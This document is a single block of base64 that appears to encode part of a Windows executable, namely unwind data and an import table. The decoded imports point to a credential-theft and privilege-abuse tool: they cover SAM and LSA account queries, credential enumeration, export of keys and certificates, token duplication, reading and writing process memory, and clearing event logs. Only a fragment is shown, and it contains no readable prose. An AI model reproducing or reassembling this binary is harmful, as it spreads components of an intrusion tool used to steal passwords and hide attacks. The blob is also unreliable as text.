QkgxwARsLABtkGgAbVBkAGzQYABsBFAAU0BLAEHAAAAEYCgAYZBQAGFQTABg0EgAY0hTQEsAQcAEcDAAcZBIAHFQRABw0EAAckhjwFuAU0BLAEHABGAoAGGQTABhUEQAYNBAAGLIU0BLAEHABDgYADjQLAA5SCnAJYAhQARcLABc0HAAXARQAEPAO4AzQCsAIcAdgBlAAAAEWCgAWVBMAFjQSABayEvAQ0A7ADHALYAEPBgAPZAsADzQKAA9yC3ABHQsAHTQvAB0BJAAW8BTgEtAQwA5wDWAMUAAAARsJABuCF/AV4BPQEcAPcA5gDVAMMAAAAQwGAAw0DQAMcghwB2AGUAEWCgAWNA4AFlIS8BDgDtAMwApwCWAIUAEQBgAQZAsAEDQKABByDHABGQoAGXQJABlkCAAZVAcAGTQGABkyFcABIQoAIWQKACFUCQAhNAgAITId0BvAGXABDgIADjIKMAESCAASVBMAEjQQABKyDsAMcAtgAREGABE0FAAR8gpwCWAIUAEXCwAXNCEAFwEYABDwDuAM0ArACHAHYAZQAAABBAEABKIAAAEQBAAQNAgAEFIMcAEbCwAbZCwAG1QrABs0KgAbASYAFOAS0BBwAAABGgsAGlQhABo0IAAaARoAE/AR0A/ADXAMYAAAARsJABtUHwAbNB4AGwEaABTQEsAQcAAAARoLABpUHQAaNBwAGgEWABPgEdAPwA1wDGAAAAESCAASNBAAEpIO0AzACnAJYAhQAQwEAAw0CAAMUghwARAGABBkEQAQNBAAENIMcAESBwASZBUAEjQUABIBEgALcAAAARkKABk0DwAZMhXwE+AR0A/ADXAMYAtQAQoCAAoBSQABFAgAFGQPABRUDgAUNA0AFJIQcAEdDAAddAsAHWQKAB1UCQAdNAgAHTIZ4BfQFcABIAwAIGQPACBUDgAgNAwAIFIc8BrgGNAWwBRwARgKABhkCgAYVAkAGDQIABgyFNASwBBwARQIABRkDAAUVAsAFDQKABRyEHABCAIACJIEMAEdCwAdNCQAHQEcABbwFOAS0BDADnANYAxQAAABGgkAGmQbABpUGgAaNBgAGgEWABNwAAABFwkAF2QaABdUGQAXNBgAFwEWABBwAAABEwgAE1QPABM0DgATkg/ADXAMYAEbCgAbZBcAG1QWABs0FQAb8hTQEsAQcAEUCAA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va2VuSW5mb3JtYXRpb24ASgFMb29rdXBBY2NvdW50U2lkVwBYAENvbnZlcnRTdHJpbmdTaWRUb1NpZFcAAJQAQ3J5cHRFeHBvcnRLZXkAAIYAQ3J5cHRBY3F1aXJlQ29udGV4dFcAAJoAQ3J5cHRHZXRLZXlQYXJhbQAAoABDcnlwdFJlbGVhc2VDb250ZXh0AJMAQ3J5cHRFbnVtUHJvdmlkZXJzVwCbAENyeXB0R2V0UHJvdlBhcmFtAIwAQ3J5cHREZXN0cm95S2V5AJwAQ3J5cHRHZXRVc2VyS2V5AKsBT3BlbkV2ZW50TG9nVwAEAUdldE51bWJlck9mRXZlbnRMb2dSZWNvcmRzAAA6AENsZWFyRXZlbnRMb2dXAABlAENyZWF0ZVNlcnZpY2VXAABDAlNldFNlcnZpY2VPYmplY3RTZWN1cml0eQAAKgBCdWlsZFNlY3VyaXR5RGVzY3JpcHRvclcAAMIBUXVlcnlTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAAB0AQWxsb2NhdGVBbmRJbml0aWFsaXplU2lkAADiAEZyZWVTaWQAmQBDcnlwdEdldEhhc2hQYXJhbQCiAENyeXB0U2V0S2V5UGFyYW0AAHACU3lzdGVtRnVuY3Rpb24wMzIAVQJTeXN0ZW1GdW5jdGlvbjAwNQCfAENyeXB0SW1wb3J0S2V5AABpAlN5c3RlbUZ1bmN0aW9uMDI1AIgAQ3J5cHRDcmVhdGVIYXNoAIkAQ3J5cHREZWNyeXB0AACLAENyeXB0RGVzdHJveUhhc2gAAGQBTHNhRnJlZU1lbW9yeQCdAENyeXB0SGFzaERhdGEAsQFPcGVuVGhyZWFkVG9rZW4ARQJTZXRUaHJlYWRUb2tlbgAAtABEdXBsaWNhdGVUb2tlbkV4AAA4AENoZWNrVG9rZW5NZW1iZXJzaGlwAABsAENyZWRGcmVlAABrAENyZWRFbnVtZXJhdGVXAABBRFZBUEkzMi5kbGwAAHUAQ3J5cHRCaW5hcnlUb1N0cmluZ1cAAHMAQ3J5cHRBY3F1aXJlQ2VydGlmaWNhdGVQcml2YXRlS2V5AEYAQ2VydEdldE5hbWVTdHJpbmdXAABQAENlcnRPcGVuU3RvcmUAPABDZXJ0RnJlZUNlcnRpZmljYXRlQ29udGV4dAAABABDZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZQAADwBDZXJ0Q2xvc2VTdG9yZQAAQQBDZXJ0R2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkAKQBDZXJ0RW51bUNlcnRpZmljYXRlc0luU3RvcmUALABDZXJ0RW51bVN5c3RlbVN0b3JlAAMBUEZYRXhwb3J0Q2VydFN0b3JlRXgAAENSWVBUMzIuZGxsAAUAQ0RMb2NhdGVDU3lzdGVtAAYAQ0RMb2NhdGVDaGVja1N1bQAACwBNRDVGaW5hbAAADQBNRDVVcGRhdGUADABNRDVJbml0AGNyeXB0ZGxsLmRsbAAATgBQYXRoSXNSZWxhdGl2ZVcAIgBQYXRoQ2Fub25pY2FsaXplVwAkAFBhdGhDb21iaW5lVwAAU0hMV0FQSS5kbGwAJgBTYW1RdWVyeUluZm9ybWF0aW9uVXNlcgAGAFNhbUNsb3NlSGFuZGxlAAAUAFNhbUZyZWVNZW1vcnkAEwBTYW1FbnVtZXJhdGVVc2Vyc0luRG9tYWluACEAU2FtT3BlblVzZXIAHQBTYW1Mb29rdXBOYW1lc0luRG9tYWluAAAcAFNhbUxvb2t1cElkc0luRG9tYWluAAAfAFNhbU9wZW5Eb21haW4ABwBTYW1Db25uZWN0AAARAFNhbUVudW1lcmF0ZURvbWFpbnNJblNhbVNlcnZlcgAAGABTYW1HZXRHcm91cHNGb3JVc2VyACwAU2FtUmlkVG9TaWQAGwBTYW1Mb29rdXBEb21haW5JblNhbVNlcnZlcgAAFQBTYW1HZXRBbGlhc01lbWJlcnNoaXAAU0FNTElCLmRsbAAAKABMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UAACUATHNhRnJlZVJldHVybkJ1ZmZlcgAjAExzYURlcmVnaXN0ZXJMb2dvblByb2Nlc3MAIgBMc2FDb25uZWN0VW50cnVzdGVkACEATHNhQ2FsbEF1dGhlbnRpY2F0aW9uUGFja2FnZQAAU2VjdXIzMi5kbGwABwBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsAJsBSXNDaGFyQWxwaGFOdW1lcmljVwBVU0VSMzIuZGxsAAAFAE1ENFVwZGF0ZQADAE1ENEZpbmFsAAAEAE1ENEluaXQAYWR2YXBpMzIuZGxsAAAQAFJ0bFVuaWNvZGVTdHJpbmdUb0Fuc2lTdHJpbmcAAAoAUnRsRnJlZUFuc2lTdHJpbmcAAgBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb24AAA4AUnRsSW5pdFVuaWNvZGVTdHJpbmcAAAkAUnRsRXF1YWxVbmljb2RlU3RyaW5nAAEATnRRdWVyeU9iamVjdAAMAFJ0bEdldEN1cnJlbnRQZWIAAAAATnRRdWVyeUluZm9ybWF0aW9uUHJvY2VzcwAPAFJ0bFN0cmluZ0Zyb21HVUlEAAsAUnRsRnJlZVVuaWNvZGVTdHJpbmcAAA0AUnRsR2V0TnRWZXJzaW9uTnVtYmVycwAAAwBOdFJlc3VtZVByb2Nlc3MABgBSdGxBZGp1c3RQcml2aWxlZ2UAAAQATnRTdXNwZW5kUHJvY2VzcwAABQBOdFRlcm1pbmF0ZVByb2Nlc3MAAAgAUnRsRXF1YWxTdHJpbmcAAG50ZGxsLmRsbACNA1ZpcnR1YWxQcm90ZWN0AABdA1NsZWVwAMgARmlsZVRpbWVUb1N5c3RlbVRpbWUAAFQCTG9jYWxBbGxvYwAAWAJMb2NhbEZyZWUAqwNXcml0ZUZpbGUAsQJSZWFkRmlsZQAAWQBDcmVhdGVGaWxlVwDxAEZsdXNoRmlsZUJ1ZmZlcnMAAGcBR2V0RmlsZVNpemVFeABEAUdldEN1cnJlbnREaXJlY3RvcnlXAAA2AENsb3NlSGFuZGxlAEUBR2V0Q3VycmVudFByb2Nlc3MAggJPcGVuUHJvY2VzcwBzAUdldExhc3RFcnJvcgAAlgBEdXBsaWNhdGVIYW5kbGUALwNTZXRMYXN0RXJyb3IAAI0ARGV2aWNlSW9Db250cm9sACMDU2V0RmlsZVBvaW50ZXIAAI8DVmlydHVhbFF1ZXJ5AACQA1ZpcnR1YWxRdWVyeUV4AAC0AlJlYWRQcm9jZXNzTWVtb3J5AI4DVmlydHVhbFByb3RlY3RFeAAAtANXcml0ZVByb2Nlc3NNZW1vcnkAAGQCTWFwVmlld09mRmlsZQB4A1VubWFwVmlld09mRmlsZQBYAENyZWF0ZUZpbGVNYXBwaW5nVwAAWwJMb2NhbFJlQWxsb2MAAGwAQ3JlYXRlUHJvY2Vzc1cAAEsBR2V0RGF0ZUZvcm1hdFcAAOMBR2V0VGltZUZvcm1hdFcAAMcARmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUAYgNTeXN0ZW1UaW1lVG9GaWxlVGltZQAAygFHZXRTeXN0ZW1UaW1lAPsARnJlZUxpYnJhcnkAUQJMb2FkTGlicmFyeVcAAKIBR2V0UHJvY0FkZHJlc3MAAPkCU2V0Q29uc29sZUN1cnNvclBvc2l0aW9uAAC7AUdldFN0ZEhhbmRsZQAAywBGaWxsQ29uc29sZU91dHB1dENoYXJhY3RlclcAOgFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAASAFHZXRDdXJyZW50VGhyZWFkAABGAUdldEN1cnJlbnRQcm9jZXNzSWQAS0VSTkVMMzIuZGxsAAAEBV92c2N3cHJpbnRmAFoFd2NzcmNocgBRBXdjc2NocgAABwVfd2NzaWNtcAAACQVfd2NzbmljbXAAXAV3Y3NzdHIAAF8Fd2NzdG91bAD2AF9lcnJubwAA4AR2ZndwcmludGYAJwRmZmx1c2gAALEDX3dmb3BlbgAkBGZjbG9zZQAAOgRmcmVlAAB0A193Y3NkdXAAbXN2Y3J0LmRsbAAAgARtZW1jcHkAAIQEbWVtc2V0AABTAF9fQ19zcGVj